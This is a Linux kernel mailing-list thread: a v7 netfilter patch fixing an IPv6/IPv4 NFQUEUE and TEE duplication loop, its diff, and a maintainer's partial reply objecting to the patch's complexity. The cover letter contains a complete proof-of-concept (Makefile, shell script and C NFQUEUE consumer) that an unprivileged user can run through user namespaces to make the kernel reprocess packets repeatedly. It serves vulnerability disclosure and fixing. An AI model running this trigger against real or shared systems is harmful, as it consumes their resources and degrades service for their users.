* [PATCH nf v7 0/1] netfilter: nf_dup: preserve duplication guard across NFQUEUE
@ 2026-10-11 11:28 Zihan Xi
2026-10-11 11:28 ` [PATCH nf v7 1/1] " Zihan Xi
0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-10-11 11:28 UTC (permalink / raw)
To: linux-kernel, netfilter-devel
Cc: mingo, peterz, juri.lelli, vincent.guittot, dietmar.eggemann,
rostedt, bsegall, mgorman, vschneid, kprateek.nayak, pablo, fw,
phil, davem, edumazet, pabeni, horms, kaber, jengelh, lukas,
vega, root, zihanx
Hi Linux kernel maintainers,
We found and reproduced an asynchronous packet-duplication issue in
net/ipv6/netfilter/nf_dup_ipv6.c. A duplicate can be retained by NFQUEUE and
resume hook traversal after the task-local duplication guard has been cleared.
A later duplication rule can then clone it again, causing repeated packet
processing and resource consumption. The trigger is reachable to a non-root
user when unprivileged user and network namespaces are enabled and the user
has CAP_NET_ADMIN in the child network namespace.
This v7 replaces the v6 rule-setup restriction with state propagation through
nf_queue_entry. During reinjection, a separate task-local flag marks the
queued packet's duplication state. Duplication guards consult that flag only
in task context, so pending softirqs run by local_bh_enable() do not inherit
the verdict task's reinjection state. The netdev dup marker is scoped to the
BH-disabled transmit section. The change covers NFQUEUE continuations of
IPv4/IPv6 and nft_dup_netdev duplication, but not an independent device
receive path such as a veth peer ingress return. No memory-safety or
privilege-escalation impact is claimed.
The change is limited to duplication-guard handling for packets resumed
through NFQUEUE. It should not affect other functionality: ordinary
NFQUEUE traffic and duplication paths that do not use NFQUEUE retain
their existing behavior.
On the unpatched nf.git baseline
ab699d296e066eb64f51d2a8a1d42237a3b186c8, a bounded unprivileged user-
namespace run with one NFQUEUE, one TEE clone and a one-byte payload
observed 152,322 NFQUEUE callbacks in 6.649 seconds. This includes the
stop-wakeup callback. The PoC increments its counter before calling
nfq_set_verdict() and does not check its return, so this is not a confirmed
count of successful verdict submissions. It demonstrated repeated queue
re-entry; no kernel panic, BUG or Oops was observed.
A separate test-only run used this baseline with the PoC defaults: 18 queues,
two TEE clones and a 60,000-byte payload. It omitted the five-second
shutdown/wakeup tail, keeping the rules active, and ran with a 120-second
cap. Guest root set global vm.panic_on_oom=1 before the unprivileged run.
No OOM panic, BUG or Oops was observed in the serial log before the runner
timeout. No crash log was produced on this baseline.
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
nf_dup_ipv4() and nf_dup_ipv6() set current->in_nf_duplicate while the cloned
skb traverses output hooks. NFQUEUE can retain that skb and return
NF_STOLEN. The output call then unwinds and clears the task-local flag. When
userspace later returns NF_ACCEPT, nf_reinject() resumes hook traversal after
the queued hook in the verdict-processing task, where the flag is clear. A
later dup rule can therefore duplicate the same skb again.
The queue entry now records whether queuing happened while a duplication
output was active. nf_reinject() uses a separate task-local reinjection flag
for the resumed traversal and restores the verdict task's previous flag on
every exit. The flag is honored only in task context, since local_bh_enable()
may process pending softirqs before reinjection finishes. The netdev dup
frontend uses a separate synchronous xmit recursion counter; its marker is
set only in the BH-disabled transmit section so an NFQUEUE entry created for
the clone retains duplication state. The xmit recursion counter itself is
unchanged. This change addresses NFQUEUE reinjection only, not asynchronous
re-entry through an independent device receive path.
Fixes: cd58bcd9787e covers the TEE path where clones began traversing
local-output hooks. The netdev NFQUEUE path depends on the egress hook
first introduced by 8537f78647c0 and reverted by
357b6cc5834e; the active implementation was reintroduced by
42df6e1d221d. The Fixes tag points to the earliest introduction. Commit
502061f81d3e adds the netdev dup frontend but does not introduce the
egress-hook NFQUEUE continuation. The later IPv4/IPv6 nft dup frontend
uses the shared nf_dup helpers and does not introduce a separate guard
lifetime issue.
Reproducer:
packetdrill is not used because the essential interaction is an NFQUEUE
netlink verdict loop: a userspace consumer receives each queued skb and
returns NF_ACCEPT. Packetdrill's packet/syscall scripts do not model this
NFQUEUE netlink control-plane exchange; the PoC runs a libnetfilter_queue
consumer alongside rule setup and traffic generation.
The following command uses the local Makefile and poc.sh; poc.sh builds the
NFQUEUE receiver with -lnetfilter_queue and -lnfnetlink, installs the IPv6
NFQUEUE/TEE rules, sends traffic, and services verdicts. The values below
bound the unpatched-baseline run and override the script defaults. Guest
root set vm.panic_on_oom=0 before the unprivileged test; the run used one
queue, one TEE clone, and a one-byte payload.
PANIC_ON_OOM=0 QUEUE_COUNT=1 TEE_CLONES=1 PAYLOAD=1 \
BASE_PORT=5655 bash ./poc.sh --userns
The v7 patch source diff (9 files, 43 insertions, 6 deletions) was built
against nf.git baseline ab699d296e066eb64f51d2a8a1d42237a3b186c8 under
Ubuntu 24.04.4 LTS and booted in a 2 vCPU, 2 GB RAM x86 QEMU guest.
The bounded user-namespace run used one NFQUEUE, one TEE clone, and a
one-byte payload. After the five-second window, the script sends SIGTERM to
the receiver, installs an NFQUEUE-only raw OUTPUT rule for UDP port 5656
(BASE_PORT + QUEUE_COUNT), then sends a one-byte W datagram to
::1:5656 to wake queue 0.
The receiver reported callbacks=3: two for the trigger packet and its TEE
clone, plus one for the wake-up packet. This is a callback count, not a
confirmed successful-verdict count. No kernel panic, BUG, or Oops occurred.
This validates only the IPv6 ip6tables NFQUEUE/TEE path, not independent
netdev receive-path re-entry.
changes in v7:
- sample the task-context reinjection flag before local_bh_disable()
in both IPv4 and IPv6 duplication helpers
- replace the v6 user-namespace setup restriction with NFQUEUE state
capture and restoration
- use a task-context-only reinjection flag to avoid pending softirqs
inheriting the duplication guard
- scope the netdev dup marker to the BH-disabled transmit section
- cover queued IPv4/IPv6 duplication and nft_dup_netdev clones
- point the netdev NFQUEUE Fixes tag to the earliest egress-hook
introduction (8537f78647c0), not the current reintroduction
(42df6e1d221d)
- record the v7 build and bounded IPv6 NFQUEUE/TEE validation
- state that independent device receive-path re-entry remains outside scope
- v6 Link:
https://lore.kernel.org/all/82abaa776053bb3e716095a783722452d87fa039.1791429178.git.zihanx@nebusec.ai/
changes in v6:
- reroll the unchanged v5 patch on nf.git main at ab699d296e06
- do not present v5 build or runtime results as v6 validation
- v5 Link:
https://lore.kernel.org/all/20260929125832.25316-1-zihanx@nebusec.ai/
changes in v5:
- describe the patch as a non-initial-userns setup restriction, not a
general recursion fix; state that init_user_ns behavior is unchanged
- remove path-specific trigger details and run-specific metrics from the
public commit and cover prose
- drop d877f07112f1 from Fixes: because it added a later frontend, not the
shared duplication behavior addressed by that restriction
- v4 Link:
https://lore.kernel.org/all/cover.1790408011.git.zihanx@nebusec.ai/
changes in v4:
- add Fixes tags for TEE, IPv4/IPv6 nft dup, and netdev nft dup frontends
- clarify that fcd53c51d037 only added a synchronous guard
- clarify that the userns restriction left init_user_ns behavior unchanged
- v3 Link:
https://lore.kernel.org/all/cover.1790042930.git.zihanx@nebusec.ai/
changes in v3:
- reroll against nf.git main after no follow-up on v2
- add the Co-developed-by trailer and matching Signed-off-by
- v2 Link:
https://lore.kernel.org/all/cover.1788425393.git.zihanx@nebusec.ai/
changes in v2:
- drop the persistent struct sk_buff::nf_duplicated field and nf_copy()
change from v1
- disable IPv4/IPv6 duplication in non-initial user namespaces
- v1 Link:
https://lore.kernel.org/all/cover.1787903722.git.zihanx@nebusec.ai/
------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra
LDLIBS ?= -lnetfilter_queue -lnfnetlink
all: poc
poc: poc.c
clean:
rm -f poc
------END Makefile------
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
IP=/usr/sbin/ip
IP6TABLES=/usr/sbin/ip6tables-legacy
SYSCTL=/usr/sbin/sysctl
export XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-$SCRIPT_DIR/xtables.lock}
QUEUE_COUNT=${QUEUE_COUNT:-18}
BASE_PORT=${BASE_PORT:-5555}
PAYLOAD=${PAYLOAD:-60000}
TEE_CLONES=${TEE_CLONES:-2}
PANIC_ON_OOM=${PANIC_ON_OOM:-1}
PANIC_ON_WARN=${PANIC_ON_WARN:-0}
if [[ ${1-} == "--userns" ]]; then
exec unshare -Urn -- "$0" --inside-userns
fi
if [[ ${1-} == "--inside-userns" ]]; then
shift
fi
cleanup() {
"$IP6TABLES" -t raw -F OUTPUT 2>/dev/null || true
"$IP6TABLES" -t mangle -F OUTPUT 2>/dev/null || true
for pid in "${acceptor_pids[@]-}"; do
kill "$pid" 2>/dev/null || true
done
for pid in "${acceptor_pids[@]-}"; do
wait "$pid" 2>/dev/null || true
done
}
trap cleanup EXIT
"$IP" link set lo up
"$SYSCTL" -q -w kernel.panic_on_warn="$PANIC_ON_WARN" || true
"$SYSCTL" -q -w vm.panic_on_oom="$PANIC_ON_OOM" || true
"$SYSCTL" -q -w net.core.rmem_max=536870912 || true
"$SYSCTL" -q -w net.core.rmem_default=536870912 || true
"$SYSCTL" -q -w net.netfilter.nf_queue_maxlen=65535 || true
make -C "$SCRIPT_DIR" clean all
"$IP6TABLES" -t raw -F OUTPUT
"$IP6TABLES" -t mangle -F OUTPUT
acceptor_pids=()
for q in $(seq 0 $((QUEUE_COUNT - 1))); do
port=$((BASE_PORT + q))
"$IP6TABLES" -t raw -A OUTPUT \
-p udp -d ::1 --dport "$port" \
-j NFQUEUE --queue-num "$q"
for _ in $(seq 1 "$TEE_CLONES"); do
"$IP6TABLES" -t mangle -A OUTPUT \
-p udp -d ::1 --dport "$port" \
-j TEE --gateway ::1 --oif lo
done
"$SCRIPT_DIR/poc" "$q" >"$SCRIPT_DIR/acceptor-$q.log" 2>&1 &
acceptor_pids+=("$!")
done
sleep 1
python3 - "$BASE_PORT" "$QUEUE_COUNT" "$PAYLOAD" <<'PY'
import socket
import sys
base_port = int(sys.argv[1])
queue_count = int(sys.argv[2])
payload_len = int(sys.argv[3])
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
for offset in range(queue_count):
dport = base_port + offset
s.sendto(b"A" * payload_len, ("::1", dport))
print("sent", payload_len, "bytes to ::1", dport)
PY
echo "PoC is active. Queue state:"
cat /proc/net/netfilter/nfnetlink_queue 2>/dev/null || true
sleep 5
for pid in "${acceptor_pids[@]}"; do
kill "$pid" 2>/dev/null || true
done
wake_port=$((BASE_PORT + QUEUE_COUNT))
"$IP6TABLES" -t raw -A OUTPUT -p udp -d ::1 --dport "$wake_port" -j NFQUEUE --queue-num 0
python3 - "$wake_port" <<'PY'
import socket
import sys
port = int(sys.argv[1])
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.sendto(b"W", ("::1", port))
print("sent stop-wakeup packet to ::1", port)
PY
for pid in "${acceptor_pids[@]}"; do
wait "$pid" 2>/dev/null || true
done
cat "$SCRIPT_DIR/acceptor-0.log"
------END poc.sh------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/netfilter.h>
#include <linux/netlink.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>
#include <libnetfilter_queue/libnetfilter_queue.h>
static volatile sig_atomic_t stop;
static uint64_t packets_seen;
static uint64_t last_report;
static struct timespec start_ts;
static void on_signal(int signo)
{
(void)signo;
stop = 1;
}
static void report_progress(bool force)
{
struct timespec now;
double seconds;
if (!force && packets_seen - last_report < 1000)
return;
if (clock_gettime(CLOCK_MONOTONIC, &now) != 0)
return;
seconds = (now.tv_sec - start_ts.tv_sec) +
(now.tv_nsec - start_ts.tv_nsec) / 1000000000.0;
fprintf(stderr, "callbacks=%llu elapsed=%.3f rate=%.0f pkt/s\n",
(unsigned long long)packets_seen, seconds,
seconds > 0.0 ? packets_seen / seconds : 0.0);
last_report = packets_seen;
}
static int queue_cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
struct nfq_data *nfa, void *data)
{
struct nfqnl_msg_packet_hdr *ph;
uint32_t id = 0;
(void)nfmsg;
(void)data;
ph = nfq_get_msg_packet_hdr(nfa);
if (ph)
id = ntohl(ph->packet_id);
packets_seen++;
report_progress(false);
return nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
}
int main(int argc, char **argv)
{
struct nfq_handle *h = NULL;
struct nfq_q_handle *qh = NULL;
int fd;
int queue_num = 0;
int rv;
int ret = 1;
int one = 1;
int rcvbuf = 512 * 1024 * 1024;
unsigned int maxlen = 65535;
char buf[8192] __attribute__((aligned));
if (argc > 2) {
fprintf(stderr, "usage: %s [queue-num]\n", argv[0]);
return 2;
}
if (argc == 2)
queue_num = atoi(argv[1]);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
if (clock_gettime(CLOCK_MONOTONIC, &start_ts) != 0) {
perror("clock_gettime");
return 1;
}
h = nfq_open();
if (!h) {
perror("nfq_open");
goto out;
}
if (nfq_unbind_pf(h, AF_INET6) < 0)
fprintf(stderr, "warning: nfq_unbind_pf(AF_INET6) failed\n");
if (nfq_bind_pf(h, AF_INET6) < 0) {
perror("nfq_bind_pf(AF_INET6)");
goto out;
}
qh = nfq_create_queue(h, (uint16_t)queue_num, queue_cb, NULL);
if (!qh) {
perror("nfq_create_queue");
goto out;
}
if (nfq_set_mode(qh, NFQNL_COPY_META, 0) < 0) {
perror("nfq_set_mode");
goto out;
}
if (nfq_set_queue_maxlen(qh, maxlen) < 0)
fprintf(stderr, "warning: nfq_set_queue_maxlen(%u) failed\n", maxlen);
fd = nfq_fd(h);
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUFFORCE, &rcvbuf,
sizeof(rcvbuf)) < 0 &&
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0)
fprintf(stderr, "warning: socket receive buffer setup failed: %s\n",
strerror(errno));
if (setsockopt(fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &one, sizeof(one)) < 0)
fprintf(stderr, "warning: NETLINK_NO_ENOBUFS failed: %s\n",
strerror(errno));
while (!stop) {
rv = recv(fd, buf, sizeof(buf), 0);
if (rv >= 0) {
if (nfq_handle_packet(h, buf, rv) < 0) {
perror("nfq_handle_packet");
break;
}
continue;
}
if (errno == EINTR)
continue;
if (errno == ENOBUFS)
continue;
perror("recv");
break;
}
report_progress(true);
ret = 0;
out:
if (qh)
nfq_destroy_queue(qh);
if (h)
nfq_close(h);
return ret;
}
------END poc.c--------
No decoded crash report was produced by the latest-baseline unpatched runs.
----BEGIN crash log----
NOT RUN: No KASAN report, kernel panic, BUG or Oops was produced by the
latest-baseline unpatched runs. The bounded run completed normally; the
extended run reached its 120-second runner timeout without a kernel failure.
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
netfilter: nf_dup: preserve duplication guard across NFQUEUE
include/linux/sched.h | 2 ++
include/net/netfilter/nf_queue.h | 1 +
net/ipv4/netfilter/ip_tables.c | 5 ++++-
net/ipv4/netfilter/nf_dup_ipv4.c | 5 ++++-
net/ipv6/netfilter/ip6_tables.c | 5 ++++-
net/ipv6/netfilter/nf_dup_ipv6.c | 6 +++++-
net/netfilter/nf_dup_netdev.c | 13 ++++++++++++-
net/netfilter/nf_queue.c | 4 ++++
net/netfilter/nfnetlink_queue.c | 8 +++++++-
9 files changed, 43 insertions(+), 6 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH nf v7 1/1] netfilter: nf_dup: preserve duplication guard across NFQUEUE
2026-10-11 11:28 [PATCH nf v7 0/1] netfilter: nf_dup: preserve duplication guard across NFQUEUE Zihan Xi
@ 2026-10-11 11:28 ` Zihan Xi
2026-10-11 14:58 ` Florian Westphal
0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-10-11 11:28 UTC (permalink / raw)
To: linux-kernel, netfilter-devel
Cc: mingo, peterz, juri.lelli, vincent.guittot, dietmar.eggemann,
rostedt, bsegall, mgorman, vschneid, kprateek.nayak, pablo, fw,
phil, davem, edumazet, pabeni, horms, kaber, jengelh, lukas,
vega, root, zihanx
nf_dup_ipv4() and nf_dup_ipv6() set current->in_nf_duplicate while the
cloned skb traverses output hooks. NFQUEUE can retain the clone and return
NF_STOLEN while that traversal is in progress. Once ip_local_out() or
ip6_local_out() returns, the task-local guard is cleared. NF_ACCEPT then
resumes hook traversal after the queued hook in the verdict task, where
the guard is no longer set. A later dup rule can clone the packet again,
causing repeated packet processing and resource consumption.
Record the duplication state in nf_queue_entry and use a separate
reinjection flag while nf_reinject() resumes hook traversal. Consult that
flag only in task context: local_bh_enable() can process pending softirqs
before reinjection finishes, and those packets must not inherit the
reinjection guard. Restore the verdict task's prior flag on every exit.
The netdev dup path uses a separate xmit recursion counter. Mark cloned
output within the BH-disabled transmit section so NFQUEUE entries created
there retain the duplication state. The counter itself remains unchanged.
This covers NFQUEUE reinjection only; it does not carry duplicate state
across an independent device receive path.
Fixes: cd58bcd9787e ("netfilter: xt_TEE: have cloned packet travel through Xtables too")
Fixes: 8537f78647c0 ("netfilter: Introduce egress hook")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v7:
- replace the v6 user-namespace setup restriction with NFQUEUE state
capture and restoration
- use a separate reinjection flag checked only in task context, and scope
the netdev dup marker to its BH-disabled transmit section
- cover queued IPv4/IPv6 duplication and nft_dup_netdev clones; restore the
verdict task's previous state on every exit path
- keep the claim limited to NFQUEUE reinjection, not independent device
receive paths
- point the netdev NFQUEUE Fixes tag to the earliest egress-hook
introduction (8537f78647c0), not the current reintroduction
(42df6e1d221d)
- v6 Link:
https://lore.kernel.org/all/82abaa776053bb3e716095a783722452d87fa039.1791429178.git.zihanx@nebusec.ai/
changes in v6:
- reroll the unchanged four-file setup-time restriction on nf.git main at
ab699d296e06
- do not present v5 build or runtime results as v6 validation
- v5 Link:
https://lore.kernel.org/all/20260929125832.25316-1-zihanx@nebusec.ai/
changes in v5:
- describe the patch as a non-initial-userns setup restriction, not a
general recursion fix; state that init_user_ns behavior is unchanged
- remove path-specific trigger details and run-specific metrics from the
public commit and cover prose
- drop d877f07112f1 from Fixes: because it added a later frontend, not the
shared duplication behavior addressed by that restriction
- record the v5 build and setup-time validation, distinguishing them from
earlier unpatched-baseline and root-OOM runs
- v4 Link:
https://lore.kernel.org/all/cover.1790408011.git.zihanx@nebusec.ai/
changes in v4:
- add Fixes tags for TEE, IPv4/IPv6 nft dup, and netdev nft dup
frontends
- clarify that fcd53c51d037 only added a synchronous guard
- clarify that this restricts non-initial user namespaces and does not
fix asynchronous recursion in init_user_ns-owned network namespaces
- state explicitly that the netdev loop was not runtime-reproduced
- v3 Link:
https://lore.kernel.org/all/cover.1790042930.git.zihanx@nebusec.ai/
changes in v3:
- reroll the fix against the latest nf.git main after no follow-up on v2
- add the Co-developed-by trailer and matching Signed-off-by
- v2 Link:
https://lore.kernel.org/all/cover.1788425393.git.zihanx@nebusec.ai/
changes in v2:
- drop the persistent struct sk_buff::nf_duplicated field and nf_copy()
change from v1
- disable IPv4/IPv6 duplication in non-initial user namespaces
- v1 Link:
https://lore.kernel.org/all/cover.1787903722.git.zihanx@nebusec.ai/
---
include/linux/sched.h | 2 ++
include/net/netfilter/nf_queue.h | 1 +
net/ipv4/netfilter/ip_tables.c | 5 ++++-
net/ipv4/netfilter/nf_dup_ipv4.c | 5 ++++-
net/ipv6/netfilter/ip6_tables.c | 5 ++++-
net/ipv6/netfilter/nf_dup_ipv6.c | 6 +++++-
net/netfilter/nf_dup_netdev.c | 13 ++++++++++++-
net/netfilter/nf_queue.c | 4 ++++
net/netfilter/nfnetlink_queue.c | 8 +++++++-
9 files changed, 43 insertions(+), 6 deletions(-)
diff --git a/include/linux/sched.h b/include/linux/sched.h
index d35ae49a9..f1ffc9d48 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1070,6 +1070,8 @@ struct task_struct {
unsigned in_thrashing:1;
#endif
unsigned in_nf_duplicate:1;
+ unsigned in_nf_dup_netdev:1; /* netdev dup output is active */
+ unsigned in_nf_duplicate_reinject:1; /* NFQUEUE resume */
#ifdef CONFIG_PREEMPT_RT
struct netdev_xmit net_xmit;
#endif
diff --git a/include/net/netfilter/nf_queue.h b/include/net/netfilter/nf_queue.h
index fc3e81c07..d6d335273 100644
--- a/include/net/netfilter/nf_queue.h
+++ b/include/net/netfilter/nf_queue.h
@@ -23,6 +23,7 @@ struct nf_queue_entry {
struct net_device *physout;
#endif
struct nf_hook_state state;
+ bool in_nf_duplicate; /* skb is on a duplication path */
bool nf_ct_is_unconfirmed;
u16 size; /* sizeof(entry) + saved route keys */
diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c
index 809441ced..7c2027ef8 100644
--- a/net/ipv4/netfilter/ip_tables.c
+++ b/net/ipv4/netfilter/ip_tables.c
@@ -14,6 +14,7 @@
#include <linux/vmalloc.h>
#include <linux/netdevice.h>
#include <linux/module.h>
+#include <linux/preempt.h>
#include <net/ip.h>
#include <net/compat.h>
#include <linux/uaccess.h>
@@ -270,7 +271,9 @@ ipt_do_table(void *priv,
* but it is no problem since absolute verdict is issued by these.
*/
if (static_key_false(&xt_tee_enabled))
- jumpstack += private->stacksize * current->in_nf_duplicate;
+ jumpstack += private->stacksize *
+ (current->in_nf_duplicate ||
+ (in_task() && current->in_nf_duplicate_reinject));
e = get_entry(table_base, private->hook_entry[hook]);
diff --git a/net/ipv4/netfilter/nf_dup_ipv4.c b/net/ipv4/netfilter/nf_dup_ipv4.c
index 9a773502f..1cac70cac 100644
--- a/net/ipv4/netfilter/nf_dup_ipv4.c
+++ b/net/ipv4/netfilter/nf_dup_ipv4.c
@@ -7,6 +7,7 @@
*/
#include <linux/ip.h>
#include <linux/module.h>
+#include <linux/preempt.h>
#include <linux/percpu.h>
#include <linux/route.h>
#include <linux/skbuff.h>
@@ -52,9 +53,11 @@ void nf_dup_ipv4(struct net *net, struct sk_buff *skb, unsigned int hooknum,
const struct in_addr *gw, int oif)
{
struct iphdr *iph;
+ bool in_nf_duplicate_reinject = in_task() &&
+ current->in_nf_duplicate_reinject;
local_bh_disable();
- if (current->in_nf_duplicate)
+ if (current->in_nf_duplicate || in_nf_duplicate_reinject)
goto out;
/*
* Copy the skb, and route the copy. Will later return %XT_CONTINUE for
diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c
index 313c4aac3..017b57691 100644
--- a/net/ipv6/netfilter/ip6_tables.c
+++ b/net/ipv6/netfilter/ip6_tables.c
@@ -17,6 +17,7 @@
#include <linux/vmalloc.h>
#include <linux/netdevice.h>
#include <linux/module.h>
+#include <linux/preempt.h>
#include <linux/poison.h>
#include <net/ipv6.h>
#include <net/compat.h>
@@ -292,7 +293,9 @@ ip6t_do_table(void *priv, struct sk_buff *skb,
* but it is no problem since absolute verdict is issued by these.
*/
if (static_key_false(&xt_tee_enabled))
- jumpstack += private->stacksize * current->in_nf_duplicate;
+ jumpstack += private->stacksize *
+ (current->in_nf_duplicate ||
+ (in_task() && current->in_nf_duplicate_reinject));
e = get_entry(table_base, private->hook_entry[hook]);
diff --git a/net/ipv6/netfilter/nf_dup_ipv6.c b/net/ipv6/netfilter/nf_dup_ipv6.c
index 6da3102b7..ee4262cc3 100644
--- a/net/ipv6/netfilter/nf_dup_ipv6.c
+++ b/net/ipv6/netfilter/nf_dup_ipv6.c
@@ -6,6 +6,7 @@
* Extracted from xt_TEE.c
*/
#include <linux/module.h>
+#include <linux/preempt.h>
#include <linux/percpu.h>
#include <linux/skbuff.h>
#include <linux/netfilter.h>
@@ -47,8 +48,11 @@ static bool nf_dup_ipv6_route(struct net *net, struct sk_buff *skb,
void nf_dup_ipv6(struct net *net, struct sk_buff *skb, unsigned int hooknum,
const struct in6_addr *gw, int oif)
{
+ bool in_nf_duplicate_reinject = in_task() &&
+ current->in_nf_duplicate_reinject;
+
local_bh_disable();
- if (current->in_nf_duplicate)
+ if (current->in_nf_duplicate || in_nf_duplicate_reinject)
goto out;
skb = pskb_copy(skb, GFP_ATOMIC);
if (skb == NULL)
diff --git a/net/netfilter/nf_dup_netdev.c b/net/netfilter/nf_dup_netdev.c
index c6bd5c29b..8b8e6f938 100644
--- a/net/netfilter/nf_dup_netdev.c
+++ b/net/netfilter/nf_dup_netdev.c
@@ -4,6 +4,7 @@
*/
#include <linux/kernel.h>
+#include <linux/sched.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/netlink.h>
@@ -57,14 +58,24 @@ void nf_dup_netdev_egress(const struct nft_pktinfo *pkt, int oif)
{
struct net_device *dev;
struct sk_buff *skb;
+ bool old_in_nf_dup_netdev;
+
+ if (in_task() && current->in_nf_duplicate_reinject)
+ return;
dev = dev_get_by_index_rcu(nft_net(pkt), oif);
if (dev == NULL)
return;
skb = skb_clone(pkt->skb, GFP_ATOMIC);
- if (skb)
+ if (skb) {
+ local_bh_disable();
+ old_in_nf_dup_netdev = current->in_nf_dup_netdev;
+ current->in_nf_dup_netdev = true;
nf_do_netdev_egress(skb, dev, nft_hook(pkt));
+ current->in_nf_dup_netdev = old_in_nf_dup_netdev;
+ local_bh_enable();
+ }
}
EXPORT_SYMBOL_GPL(nf_dup_netdev_egress);
diff --git a/net/netfilter/nf_queue.c b/net/netfilter/nf_queue.c
index 73363ceed..a1f395415 100644
--- a/net/netfilter/nf_queue.c
+++ b/net/netfilter/nf_queue.c
@@ -5,6 +5,7 @@
*/
#include <linux/kernel.h>
+#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/module.h>
@@ -219,6 +220,9 @@ static int __nf_queue(struct sk_buff *skb, const struct nf_hook_state *state,
*entry = (struct nf_queue_entry) {
.skb = skb,
.skb_dev = skb->dev,
+ .in_nf_duplicate = current->in_nf_duplicate ||
+ (in_task() && current->in_nf_duplicate_reinject) ||
+ current->in_nf_dup_netdev,
.state = *state,
.hook_index = index,
.size = sizeof(*entry) + route_key_size,
diff --git a/net/netfilter/nfnetlink_queue.c b/net/netfilter/nfnetlink_queue.c
index a3bc00280..222166898 100644
--- a/net/netfilter/nfnetlink_queue.c
+++ b/net/netfilter/nfnetlink_queue.c
@@ -13,6 +13,7 @@
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+#include <linux/sched.h>
#include <linux/module.h>
#include <linux/skbuff.h>
#include <linux/init.h>
@@ -368,9 +369,12 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
unsigned int i;
int err;
u8 pf;
+ bool old_in_nf_duplicate_reinject;
net = entry->state.net;
pf = entry->state.pf;
+ old_in_nf_duplicate_reinject = current->in_nf_duplicate_reinject;
+ current->in_nf_duplicate_reinject |= entry->in_nf_duplicate;
hooks = nf_hook_entries_head(net, pf, entry->state.hook);
@@ -378,7 +382,7 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
if (!hooks || i >= hooks->num_hook_entries) {
kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP);
nf_queue_entry_free(entry);
- return;
+ goto out;
}
hook_entry = &hooks->hooks[i];
@@ -417,6 +421,8 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
}
nf_queue_entry_free(entry);
+out:
+ current->in_nf_duplicate_reinject = old_in_nf_duplicate_reinject;
}
/* return true if the entry has an unconfirmed conntrack attached that isn't owned by us
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH nf v7 1/1] netfilter: nf_dup: preserve duplication guard across NFQUEUE
2026-10-11 11:28 ` [PATCH nf v7 1/1] " Zihan Xi
@ 2026-10-11 14:58 ` Florian Westphal
2026-10-12 1:34 ` zihan xi
0 siblings, 1 reply; 4+ messages in thread
From: Florian Westphal @ 2026-10-11 14:58 UTC (permalink / raw)
To: Zihan Xi
Cc: linux-kernel, netfilter-devel, mingo, peterz, juri.lelli,
vincent.guittot, dietmar.eggemann, rostedt, bsegall, mgorman,
vschneid, kprateek.nayak, pablo, phil, davem, edumazet, pabeni,
horms, kaber, jengelh, lukas, vega, root
Zihan Xi <zihanx@nebusec.ai> wrote:
> nf_dup_ipv4() and nf_dup_ipv6() set current->in_nf_duplicate while the
> cloned skb traverses output hooks. NFQUEUE can retain the clone and return
> NF_STOLEN while that traversal is in progress. Once ip_local_out() or
> ip6_local_out() returns, the task-local guard is cleared. NF_ACCEPT then
> resumes hook traversal after the queued hook in the verdict task, where
> the guard is no longer set. A later dup rule can clone the packet again,
> causing repeated packet processing and resource consumption.
I find this waaaaay too complex.
> include/linux/sched.h | 2 ++
> include/net/netfilter/nf_queue.h | 1 +
> net/ipv4/netfilter/ip_tables.c | 5 ++++-
> net/ipv4/netfilter/nf_dup_ipv4.c | 5 ++++-
> net/ipv6/netfilter/ip6_tables.c | 5 ++++-
> net/ipv6/netfilter/nf_dup_ipv6.c | 6 +++++-
> net/netfilter/nf_dup_netdev.c | 13 ++++++++++++-
> net/netfilter/nf_queue.c | 4 ++++
> net/netfilter/nfnetlink_queue.c | 8 +++++++-
> 9 files changed, 43 insertions(+), 6 deletions(-)
Holy cow... This is waaaay to large/complex, sorry.
> unsigned in_nf_duplicate:1;
> + unsigned in_nf_dup_netdev:1; /* netdev dup output is active */
> + unsigned in_nf_duplicate_reinject:1; /* NFQUEUE resume */
I don't understand this.
> struct nf_hook_state state;
> + bool in_nf_duplicate; /* skb is on a duplication path */
OK.
> diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c
> index 809441ced..7c2027ef8 100644
